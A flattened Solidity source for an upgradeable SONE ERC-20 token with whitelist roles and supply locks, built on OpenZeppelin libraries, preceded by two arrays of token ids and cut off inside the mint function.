[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 8400, 774, 1876, 1477, 12, 3890, 1578, 1177, 16, 1758, 4471, 16, 1731, 389, 1745, 3098, 16, 1731, 501, 13, 8843, 429, 1071, 1338, 3886, 5541, 288, 203, 565, 389, 15097, 774, 1876, 1477, 12, 1589, 16, 4471, 16, 389, 1745, 3098, 16, 501, 1769, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// File: @openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol // solhint-disable-next-line compiler-version pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // File: @openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } // File: @openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } // File: @openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All three of these values are immutable: they can only be set once during * construction. */ function __ERC20_init(string memory name_, string memory symbol_) internal initializer { __Context_init_unchained(); __ERC20_init_unchained(name_, symbol_); } function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overloaded; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } uint256[45] private __gap; } // File: @openzeppelin/contracts-upgradeable/token/ERC20/extensions/ERC20CappedUpgradeable.sol pragma solidity ^0.8.0; /** * @dev Extension of {ERC20} that adds a cap to the supply of tokens. */ abstract contract ERC20CappedUpgradeable is Initializable, ERC20Upgradeable { uint256 private _cap; /** * @dev Sets the value of the `cap`. This value is immutable, it can only be * set once during construction. */ function __ERC20Capped_init(uint256 cap_) internal initializer { __Context_init_unchained(); __ERC20Capped_init_unchained(cap_); } function __ERC20Capped_init_unchained(uint256 cap_) internal initializer { require(cap_ > 0, "ERC20Capped: cap is 0"); _cap = cap_; } /** * @dev Returns the cap on the token's total supply. */ function cap() public view virtual returns (uint256) { return _cap; } /** * @dev See {ERC20-_mint}. */ function _mint(address account, uint256 amount) internal virtual override { require(ERC20Upgradeable.totalSupply() + amount <= cap(), "ERC20Capped: cap exceeded"); super._mint(account, amount); } uint256[50] private __gap; } // File: @openzeppelin/contracts-upgradeable/token/ERC20/extensions/ERC20BurnableUpgradeable.sol pragma solidity ^0.8.0; /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20BurnableUpgradeable is Initializable, ContextUpgradeable, ERC20Upgradeable { function __ERC20Burnable_init() internal initializer { __Context_init_unchained(); __ERC20Burnable_init_unchained(); } function __ERC20Burnable_init_unchained() internal initializer { } /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 currentAllowance = allowance(account, _msgSender()); require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), currentAllowance - amount); _burn(account, amount); } uint256[50] private __gap; } // File: @openzeppelin/contracts-upgradeable/utils/introspection/IERC165Upgradeable.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { function __ERC165_init() internal initializer { __ERC165_init_unchained(); } function __ERC165_init_unchained() internal initializer { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165Upgradeable).interfaceId; } uint256[50] private __gap; } // File: @openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControlUpgradeable { function hasRole(bytes32 role, address account) external view returns (bool); function getRoleAdmin(bytes32 role) external view returns (bytes32); function grantRole(bytes32 role, address account) external; function revokeRole(bytes32 role, address account) external; function renounceRole(bytes32 role, address account) external; } /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable, IAccessControlUpgradeable, ERC165Upgradeable { function __AccessControl_init() internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __AccessControl_init_unchained(); } function __AccessControl_init_unchained() internal initializer { } struct RoleData { mapping (address => bool) members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override { require(hasRole(getRoleAdmin(role), _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override { require(hasRole(getRoleAdmin(role), _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, getRoleAdmin(role), adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } uint256[49] private __gap; } // File: contracts/WhitelistRole.sol pragma solidity ^0.8.0; contract WhitelistRole is Initializable, ContextUpgradeable, AccessControlUpgradeable { bytes32 public constant WHITELIST_ROLE = keccak256("WHITELIST_ROLE"); event WhitelistAdded(address indexed account); event WhitelistRemoved(address indexed account); event WhitelistRevoked(address indexed account); function __WhitelistRole_init() public initializer{ // Grant the contract deployer the default admin role: it will be able // to grant and revoke any roles _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); // Grant the contract deployer the WHITELIST_ROLE role grantRole(WHITELIST_ROLE, _msgSender()); emit WhitelistAdded(_msgSender()); } modifier onlyWhitelist() { require( hasRole(WHITELIST_ROLE, _msgSender()), "WhitelistRole: Caller is not a whitelist role" ); _; } function isWhitelist(address account) public view returns (bool) { return hasRole(WHITELIST_ROLE, account); } function addWhitelist(address account) public { grantRole(WHITELIST_ROLE, account); emit WhitelistAdded(account); } function renounceWhitelist() public onlyWhitelist{ renounceRole(WHITELIST_ROLE, _msgSender()); emit WhitelistRemoved(_msgSender()); } function revokeWhitelist(address account_) public onlyWhitelist{ revokeRole(WHITELIST_ROLE, account_); emit WhitelistRevoked(account_); } } // File: contracts/SoneToken.sol pragma solidity ^0.8.0; // SONE Token based on ERC-20 standard contract SoneToken is Initializable, OwnableUpgradeable, ERC20Upgradeable, ERC20CappedUpgradeable, ERC20BurnableUpgradeable, WhitelistRole { uint256 private _cap; // Maximum supply uint256 private _totalLock; // Pre-caculate total locked SONE tokens uint256 public allowTransferOn; uint256 public lockFromBlock; // Block number that SONE token is locked from uint256 public lockToBlock; // Block number that SONE token is locked to mapping(address => uint256) private _locks; // Current locked SONE of each address mapping(address => uint256) private _lastUnlockBlock; // The last block number that a address's SONE is unlocked event Lock(address indexed to, uint256 value); function __SoneToken_init(uint256 lockFromBlock_, uint256 lockToBlock_) public initializer{ _cap = 100000000e18; allowTransferOn = 12743793; // Blocker number 12743793 (on mainnet) ~ 2021-07-01 00:00:00 GMT+8 timezone lockFromBlock = lockFromBlock_; lockToBlock = lockToBlock_; __ERC20_init("SONE Token", "SONE"); __ERC20Capped_init(_cap); __Ownable_init(); __ERC20Burnable_init(); __WhitelistRole_init(); } /** * @dev Return current circulatable SONE tokens. */ function circulatingSupply() public view returns (uint256) { return super.totalSupply() - _totalLock; } /** * @dev Return total locked SONE tokens. */ function totalLock() public view returns (uint256) { return _totalLock; } /** * @dev See {ERC20-_mint}. * Can only be called by the current owner. */ function mint(address _to, uint256 _amount) public onlyOwner { _mint(_to, 